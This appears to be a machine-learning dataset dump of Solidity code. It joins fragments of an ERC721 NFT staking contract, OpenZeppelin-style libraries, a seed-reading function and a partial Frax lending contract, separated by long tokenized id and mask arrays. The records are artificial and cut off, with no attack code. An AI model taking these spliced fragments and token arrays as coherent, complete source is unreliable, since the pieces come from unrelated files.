opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint tokenId, bytes calldata data) external; function isNFThasRoyalty(uint _tokenid) external view returns (bool); function royaltyInfo(uint256 _tokenId, uint256 _saleprice) external view returns(address[] memory, uint256, uint256); } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint _value; // default: 0 } function current(Counter storage counter) internal view returns (uint) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint tokenId, bytes calldata data) external returns (bytes4); } contract PixelcolorsStakingContract is IERC721Receiver, Ownable{ IERC721 public NFTContract; RewardToken public rewardToken; mapping(uint256 => address) public stakedaddress; mapping(uint256 => uint256) public depositTime; mapping(uint256 => uint256) public lastrewardClaim; mapping(uint256 => uint256) public rewardsEarned; mapping(address => uint256[]) public tokenIdsStaked; mapping(uint256 => uint256) public tokenIndex; uint256 public tokenRewardsPerMinute; event Staked(address owner, uint256 amount); constructor(){ tokenRewardsPerMinute=2e17; NFTContract = IERC721(0x71Cc8b0ce35BeE7467f7162BA201965BB10DFE68); rewardToken = RewardToken(0xEd22DCA00B4d71F08bc184574b028c4Dc53479DE); } function stake(uint256 _tokenId) external { _stake(_tokenId,msg.sender); } function stakeMultiple(uint256[] memory _ids) external { address _userAddress = msg.sender; for (uint i=0; i<_ids.length; i++){ _stake(_ids[i],_userAddress); } } function totalAccumulatedRewards(address _userAddress) external view returns(uint256){ uint totalRewards; uint[] memory _ids =getStakedTokenIDs(_userAddress); for (uint i=0; i<_ids.length; i++){ totalRewards+=getAccumulatedrewardPerTokenStaked(_ids[i]); } return totalRewards; } function getAccumulatedrewardPerTokenStaked(uint256 _tokenId) public view returns(uint256) { uint256 rewards = 0; if (stakedaddress[_tokenId] != address(0)) { uint256 minStaked = (block.timestamp - depositTime[_tokenId]) / 60; uint256 minuteslastClaimTime; if (lastrewardClaim[_tokenId] !=0) { minuteslastClaimTime = (block.timestamp - lastrewardClaim[_tokenId]) / 60; // 27382745.2167 } else { minuteslastClaimTime = minStaked; } rewards = (minuteslastClaimTime * tokenRewardsPerMinute); if(_tokenId<=45){ rewards=(rewards*15)/10; } } return rewards; } function getStakedTokenIDs(address _userAddress) public view returns(uint[] memory){ return tokenIdsStaked[_userAddress]; } function claim(uint256 _tokenId) external { _claim(_tokenId); } function totalClaim(uint256[] memory _tokenIds) external { for(uint256 i=0;i<_tokenIds.length;i++){ _claim(_tokenIds[i]); } } function unstake(uint256 _tokenId) external { _unstake(_tokenId,msg.sender); } function unstakeMultiple(uint256[] memory _ids) external { address _user = msg.sender; for (uint i=0; i<_ids.length; i++){ _unstake(_ids[i],_user); } } function _unstake(uint256 _tokenId,address _userAddress) internal { require(stakedaddress[_tokenId] == _userAddress, "user does not stake this id"); uint getClaimAmnt = getAccumulatedrewardPerTokenStaked(_tokenId); if (getClaimAmnt > 0) { rewardToken.mint(stakedaddress[_tokenId],getClaimAmnt); } delete lastrewardClaim[_tokenId]; delete rewardsEarned[_tokenId]; delete stakedaddress[_tokenId]; delete depositTime[_tokenId]; uint[] storage arr = tokenIdsStaked[_userAddress]; uint index = tokenIndex[_tokenId]; arr[index]=arr[arr.length-1]; tokenIndex[arr[arr.length-1]]=index; arr.pop(); tokenIdsStaked[_userAddress]=arr; NFTContract.safeTransferFrom( address(this), _userAddress, _tokenId ); } function _stake(uint256 _tokenId, address _userAddress) internal { require(NFTContract.ownerOf(_tokenId) == _userAddress, "Sender is not the owner of the tkn"); stakedaddress[_tokenId] = _userAddress; depositTime[_tokenId] = block.timestamp; uint[] storage arr = tokenIdsStaked[_userAddress]; uint len = arr.length; tokenIndex[_tokenId]=len; arr.push(_tokenId); tokenIdsStaked[_userAddress]=arr; NFTContract.safeTransferFrom( _userAddress, address(this), _tokenId ); emit Staked(_userAddress, _tokenId); } function _claim(uint256 _tokenId) internal { require(stakedaddress[_tokenId] != address(0), "Id not staked"); uint getClaimAmnt = getAccumulatedrewardPerTokenStaked(_tokenId); if (getClaimAmnt > 0) { lastrewardClaim[_tokenId] = block.timestamp; rewardsEarned[_tokenId] += getClaimAmnt; rewardToken.mint(stakedaddress[_tokenId],getClaimAmnt); } } //Admin Functions function updateTokenRewardPerMinutes(uint _newRewardPerMinute) external onlyOwner{ tokenRewardsPerMinute=_newRewardPerMinute; } function updateRewardToken(address _newRewardToken) external onlyOwner{ rewardToken=RewardToken(_newRewardToken); } function updateNFTContract(address _newNFTContract) external onlyOwner{ NFTContract = IERC721(_newNFTContract); } function onERC721Received(address, address, uint, bytes calldata) public pure override returns (bytes4) { return 0x150b7a02; } }
* @dev Required interface of an ERC721 compliant contract./
interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint indexed tokenId); event Approval(address indexed owner, address indexed approved, uint indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint balance); function ownerOf(uint tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint tokenId) external; function transferFrom(address from, address to, uint tokenId) external; function approve(address to, uint tokenId) external; function getApproved(uint tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint tokenId, bytes calldata data) external; function isNFThasRoyalty(uint _tokenid) external view returns (bool); function royaltyInfo(uint256 _tokenId, uint256 _saleprice) external view returns(address[] memory, uint256, uint256); } }
14,575,499
[ 1, 3705, 1560, 434, 392, 4232, 39, 27, 5340, 24820, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 27, 5340, 353, 467, 654, 39, 28275, 288, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 8808, 1147, 548, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 20412, 16, 2254, 8808, 1147, 548, 1769, 203, 203, 565, 871, 1716, 685, 1125, 1290, 1595, 12, 2867, 8808, 3410, 16, 1758, 8808, 3726, 16, 1426, 20412, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 3410, 13, 3903, 1476, 1135, 261, 11890, 11013, 1769, 203, 203, 565, 445, 3410, 951, 12, 11890, 1147, 548, 13, 3903, 1476, 1135, 261, 2867, 3410, 1769, 203, 203, 565, 445, 4183, 5912, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 1147, 548, 13, 3903, 31, 203, 203, 565, 445, 7412, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 1147, 548, 13, 3903, 31, 203, 203, 565, 445, 6617, 537, 12, 2867, 358, 16, 2254, 1147, 548, 13, 3903, 31, 203, 203, 565, 445, 336, 31639, 12, 11890, 1147, 548, 13, 3903, 1476, 1135, 261, 2867, 3726, 1769, 203, 203, 565, 445, 444, 23461, 1290, 1595, 12, 2867, 3726, 16, 1426, 389, 25990, 13, 3903, 31, 203, 203, 565, 445, 353, 31639, 1290, 1595, 12, 2867, 3410, 16, 1758, 3726, 13, 3903, 1476, 1135, 261, 6430, 1769, 203, 203, 565, 445, 4183, 5912, 1265, 12, 2867, 628, 16, 1758, 358, 16, 2254, 1147, 548, 16, 1731, 745, 892, 501, 13, 3903, 31, 203, 203, 565, 445, 8197, 42, 1315, 345, 54, 13372, 2 ]
./full_match/83/0xF0Db6d3bbf2d728dF91B01018CDeE635cFCb1B9a/sources/Users/cuimiandashi/Documents/GitHub/meterio/cryptoblades/contracts/SafeRandoms.sol
seed stays 0 by default if allowed
function readSingleSeed(address user, uint256 requestID, bool allowZero) public view returns (uint256 seed) { if(seedHashes[singleSeedRequests[user][requestID]] == 0) { require(allowZero); } else { seed = uint256(keccak256(abi.encodePacked( seedHashes[singleSeedRequests[user][requestID]], user, requestID ))); } }
9,558,200
[ 1, 12407, 384, 8271, 374, 635, 805, 309, 2935, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 855, 5281, 12702, 12, 2867, 729, 16, 2254, 5034, 590, 734, 16, 1426, 1699, 7170, 13, 1071, 1476, 1135, 261, 11890, 5034, 5009, 13, 288, 203, 3639, 309, 12, 12407, 14455, 63, 7526, 12702, 6421, 63, 1355, 6362, 2293, 734, 13563, 422, 374, 13, 288, 203, 5411, 2583, 12, 5965, 7170, 1769, 203, 3639, 289, 203, 3639, 469, 288, 203, 5411, 5009, 273, 2254, 5034, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 203, 7734, 5009, 14455, 63, 7526, 12702, 6421, 63, 1355, 6362, 2293, 734, 65, 6487, 203, 7734, 729, 16, 590, 734, 203, 5411, 8623, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================== FraxLendingAMO ========================== // ==================================================================== // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian import "../Math/SafeMath.sol"; import "../FXS/FXS.sol"; import "../Frax/Frax.sol"; import "../ERC20/ERC20.sol"; import "../ERC20/Variants/Comp.sol"; import "../Oracle/UniswapPairOracle.sol"; import "../Governance/AccessControl.sol"; import "../Frax/Pools/FraxPool.sol"; import "../Staking/Owned.sol"; import '../Uniswap/TransferHelper.sol'; import "./cream/ICREAM_crFRAX.sol"; import "./finnexus/IFNX_CFNX.sol"; import "./finnexus/IFNX_FPT_FRAX.sol"; import "./finnexus/IFNX_FPT_B.sol"; import "./finnexus/IFNX_IntegratedStake.sol"; import "./finnexus/IFNX_MinePool.sol"; import "./finnexus/IFNX_TokenConverter.sol"; import "./finnexus/IFNX_ManagerProxy.sol"; import "./finnexus/IFNX_Oracle.sol"; contract FraxLendingAMO is AccessControl, Owned { using SafeMath for uint256; /* ========== STATE VARIABLES ========== */ ERC20 private collateral_token; FRAXShares private FXS; FRAXStablecoin private FRAX; FraxPool private pool; // Cream ICREAM_crFRAX private crFRAX = ICREAM_crFRAX(0xb092b4601850E23903A42EaCBc9D8A0EeC26A4d5); // FinNexus // More addresses: https://github.com/FinNexus/FinNexus-Documentation/blob/master/content/developers/smart-contracts.md IFNX_FPT_FRAX private fnxFPT_FRAX = IFNX_FPT_FRAX(0x39ad661bA8a7C9D3A7E4808fb9f9D5223E22F763); IFNX_FPT_B private fnxFPT_B = IFNX_FPT_B(0x7E605Fb638983A448096D82fFD2958ba012F30Cd); IFNX_IntegratedStake private fnxIntegratedStake = IFNX_IntegratedStake(0x23e54F9bBe26eD55F93F19541bC30AAc2D5569b2); IFNX_MinePool private fnxMinePool = IFNX_MinePool(0x4e6005396F80a737cE80d50B2162C0a7296c9620); IFNX_TokenConverter private fnxTokenConverter = IFNX_TokenConverter(0x955282b82440F8F69E901380BeF2b603Fba96F3b); IFNX_ManagerProxy private fnxManagerProxy = IFNX_ManagerProxy(0xa2904Fd151C9d9D634dFA8ECd856E6B9517F9785); IFNX_Oracle private fnxOracle = IFNX_Oracle(0x43BD92bF3Bb25EBB3BdC2524CBd6156E3Fdd41F3); // Reward Tokens IFNX_CFNX private CFNX = IFNX_CFNX(0x9d7beb4265817a4923FAD9Ca9EF8af138499615d); ERC20 private FNX = ERC20(0xeF9Cd7882c067686691B6fF49e650b43AFBBCC6B); address public collateral_address; address public pool_address; address public timelock_address; address public custodian_address; uint256 public immutable missing_decimals; uint256 private constant PRICE_PRECISION = 1e6; // Max amount of FRAX this contract mint uint256 public mint_cap = uint256(100000e18); // Minimum collateral ratio needed for new FRAX minting uint256 public min_cr = 850000; // Amount the contract borrowed uint256 public minted_sum_historical = 0; uint256 public burned_sum_historical = 0; // Allowed strategies (can eventually be made into an array) bool public allow_cream = true; bool public allow_finnexus = true; /* ========== CONSTRUCTOR ========== */ constructor( address _frax_contract_address, address _fxs_contract_address, address _pool_address, address _collateral_address, address _creator_address, address _custodian_address, address _timelock_address ) Owned(_creator_address) { FRAX = FRAXStablecoin(_frax_contract_address); FXS = FRAXShares(_fxs_contract_address); pool_address = _pool_address; pool = FraxPool(_pool_address); collateral_address = _collateral_address; collateral_token = ERC20(_collateral_address); timelock_address = _timelock_address; custodian_address = _custodian_address; missing_decimals = uint(18).sub(collateral_token.decimals()); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == timelock_address || msg.sender == owner, "You are not the owner or the governance timelock"); _; } modifier onlyCustodian() { require(msg.sender == custodian_address, "You are not the rewards custodian"); _; } /* ========== VIEWS ========== */ function showAllocations() external view returns (uint256[10] memory allocations) { // IMPORTANT // Should ONLY be used externally, because it may fail if any one of the functions below fail // All numbers given are in FRAX unless otherwise stated allocations[0] = FRAX.balanceOf(address(this)); // Unallocated FRAX allocations[1] = (crFRAX.balanceOf(address(this)).mul(crFRAX.exchangeRateStored()).div(1e18)); // Cream allocations[2] = (fnxMinePool.getUserFPTABalance(address(this))).mul(1e8).div(fnxManagerProxy.getTokenNetworth()); // Staked FPT-FRAX allocations[3] = (fnxFPT_FRAX.balanceOf(address(this))).mul(1e8).div(fnxManagerProxy.getTokenNetworth()); // Free FPT-FRAX allocations[4] = fnxTokenConverter.lockedBalanceOf(address(this)); // Unwinding CFNX allocations[5] = fnxTokenConverter.getClaimAbleBalance(address(this)); // Claimable Unwound FNX allocations[6] = FNX.balanceOf(address(this)); // Free FNX uint256 sum_fnx = allocations[4]; sum_fnx = sum_fnx.add(allocations[5]); sum_fnx = sum_fnx.add(allocations[6]); allocations[7] = sum_fnx; // Total FNX possessed in various forms uint256 sum_frax = allocations[0]; sum_frax = sum_frax.add(allocations[1]); sum_frax = sum_frax.add(allocations[2]); sum_frax = sum_frax.add(allocations[3]); allocations[8] = sum_frax; // Total FRAX possessed in various forms allocations[9] = collatDollarBalance(); } function showRewards() external view returns (uint256[1] memory rewards) { // IMPORTANT // Should ONLY be used externally, because it may fail if FNX.balanceOf() fails rewards[0] = FNX.balanceOf(address(this)); // FNX } // In FRAX function mintedBalance() public view returns (uint256){ if (minted_sum_historical > burned_sum_historical) return minted_sum_historical.sub(burned_sum_historical); else return 0; } // In FRAX function historicalProfit() public view returns (uint256){ if (burned_sum_historical > minted_sum_historical) return burned_sum_historical.sub(minted_sum_historical); else return 0; } /* ========== PUBLIC FUNCTIONS ========== */ // Needed for the Frax contract to not brick bool public override_collat_balance = false; uint256 public override_collat_balance_amount; function collatDollarBalance() public view returns (uint256) { if(override_collat_balance){ return override_collat_balance_amount; } // E18 for dollars, not E6 // Assumes $1 FRAX and $1 USDC return (mintedBalance()).mul(FRAX.global_collateral_ratio()).div(PRICE_PRECISION); } /* ========== RESTRICTED FUNCTIONS ========== */ // This contract is essentially marked as a 'pool' so it can call OnlyPools functions like pool_mint and pool_burn_from // on the main FRAX contract function mintFRAXForInvestments(uint256 frax_amount) public onlyByOwnerOrGovernance { uint256 borrowed_balance = mintedBalance(); // Make sure you aren't minting more than the mint cap require(borrowed_balance.add(frax_amount) <= mint_cap, "Borrow cap reached"); minted_sum_historical = minted_sum_historical.add(frax_amount); // Make sure the current CR isn't already too low require (FRAX.global_collateral_ratio() > min_cr, "Collateral ratio is already too low"); // Make sure the FRAX minting wouldn't push the CR down too much uint256 current_collateral_E18 = (FRAX.globalCollateralValue()).mul(10 ** missing_decimals); uint256 cur_frax_supply = FRAX.totalSupply(); uint256 new_frax_supply = cur_frax_supply.add(frax_amount); uint256 new_cr = (current_collateral_E18.mul(PRICE_PRECISION)).div(new_frax_supply); require (new_cr > min_cr, "Minting would cause collateral ratio to be too low"); // Mint the frax FRAX.pool_mint(address(this), frax_amount); } // Give USDC profits back function giveCollatBack(uint256 amount) public onlyByOwnerOrGovernance { TransferHelper.safeTransfer(address(collateral_token), address(pool), amount); } // Burn unneeded or excess FRAX function burnFRAX(uint256 frax_amount) public onlyByOwnerOrGovernance { FRAX.burn(frax_amount); burned_sum_historical = burned_sum_historical.add(frax_amount); } // Burn unneeded FXS function burnFXS(uint256 amount) public onlyByOwnerOrGovernance { FXS.approve(address(this), amount); FXS.pool_burn_from(address(this), amount); } /* ==================== CREAM ==================== */ // E18 function creamDeposit_FRAX(uint256 FRAX_amount) public onlyByOwnerOrGovernance { require(allow_cream, 'Cream strategy is disabled'); FRAX.approve(address(crFRAX), FRAX_amount); require(crFRAX.mint(FRAX_amount) == 0, 'Mint failed'); } // E18 function creamWithdraw_FRAX(uint256 FRAX_amount) public onlyByOwnerOrGovernance { require(crFRAX.redeemUnderlying(FRAX_amount) == 0, 'RedeemUnderlying failed'); } // E8 function creamWithdraw_crFRAX(uint256 crFRAX_amount) public onlyByOwnerOrGovernance { require(crFRAX.redeem(crFRAX_amount) == 0, 'Redeem failed'); } /* ==================== FinNexus ==================== */ /* --== Staking ==-- */ function fnxIntegratedStakeFPTs_FRAX_FNX(uint256 FRAX_amount, uint256 FNX_amount, uint256 lock_period) public onlyByOwnerOrGovernance { require(allow_finnexus, 'FinNexus strategy is disabled'); FRAX.approve(address(fnxIntegratedStake), FRAX_amount); FNX.approve(address(fnxIntegratedStake), FNX_amount); address[] memory fpta_tokens = new address[](1); uint256[] memory fpta_amounts = new uint256[](1); address[] memory fptb_tokens = new address[](1); uint256[] memory fptb_amounts = new uint256[](1); fpta_tokens[0] = address(FRAX); fpta_amounts[0] = FRAX_amount; fptb_tokens[0] = address(FNX); fptb_amounts[0] = FNX_amount; fnxIntegratedStake.stake(fpta_tokens, fpta_amounts, fptb_tokens, fptb_amounts, lock_period); } // FPT-FRAX : FPT-B = 10:1 is the best ratio for staking. You can get it using the prices. function fnxStakeFRAXForFPT_FRAX(uint256 FRAX_amount, uint256 lock_period) public onlyByOwnerOrGovernance { require(allow_finnexus, 'FinNexus strategy is disabled'); FRAX.approve(address(fnxIntegratedStake), FRAX_amount); address[] memory fpta_tokens = new address[](1); uint256[] memory fpta_amounts = new uint256[](1); address[] memory fptb_tokens = new address[](0); uint256[] memory fptb_amounts = new uint256[](0); fpta_tokens[0] = address(FRAX); fpta_amounts[0] = FRAX_amount; fnxIntegratedStake.stake(fpta_tokens, fpta_amounts, fptb_tokens, fptb_amounts, lock_period); } /* --== Collect CFNX ==-- */ function fnxCollectCFNX() public onlyByOwnerOrGovernance { uint256 claimable_cfnx = fnxMinePool.getMinerBalance(address(this), address(CFNX)); fnxMinePool.redeemMinerCoin(address(CFNX), claimable_cfnx); } /* --== UnStaking ==-- */ // FPT-FRAX = Staked FRAX function fnxUnStakeFPT_FRAX(uint256 FPT_FRAX_amount) public onlyByOwnerOrGovernance { fnxMinePool.unstakeFPTA(FPT_FRAX_amount); } // FPT-B = Staked FNX function fnxUnStakeFPT_B(uint256 FPT_B_amount) public onlyByOwnerOrGovernance { fnxMinePool.unstakeFPTB(FPT_B_amount); } /* --== Unwrapping LP Tokens ==-- */ // FPT-FRAX = Staked FRAX function fnxUnRedeemFPT_FRAXForFRAX(uint256 FPT_FRAX_amount) public onlyByOwnerOrGovernance { fnxFPT_FRAX.approve(address(fnxManagerProxy), FPT_FRAX_amount); fnxManagerProxy.redeemCollateral(FPT_FRAX_amount, address(FRAX)); } // FPT-B = Staked FNX function fnxUnStakeFPT_BForFNX(uint256 FPT_B_amount) public onlyByOwnerOrGovernance { fnxFPT_B.approve(address(fnxManagerProxy), FPT_B_amount); fnxManagerProxy.redeemCollateral(FPT_B_amount, address(FNX)); } /* --== Convert CFNX to FNX ==-- */ // Has to be done in batches, since it unlocks over several months function fnxInputCFNXForUnwinding() public onlyByOwnerOrGovernance { uint256 cfnx_amount = CFNX.balanceOf(address(this)); CFNX.approve(address(fnxTokenConverter), cfnx_amount); fnxTokenConverter.inputCfnxForInstallmentPay(cfnx_amount); } function fnxClaimFNX_From_CFNX() public onlyByOwnerOrGovernance { fnxTokenConverter.claimFnxExpiredReward(); } /* --== Combination Functions ==-- */ function fnxCFNXCollectConvertUnwind() public onlyByOwnerOrGovernance { fnxCollectCFNX(); fnxInputCFNXForUnwinding(); fnxClaimFNX_From_CFNX(); } /* ========== Custodian ========== */ function withdrawRewards() public onlyCustodian { TransferHelper.safeTransfer(address(FNX), custodian_address, FNX.balanceOf(address(this))); } /* ========== RESTRICTED GOVERNANCE FUNCTIONS ========== */ function setTimelock(address new_timelock) external 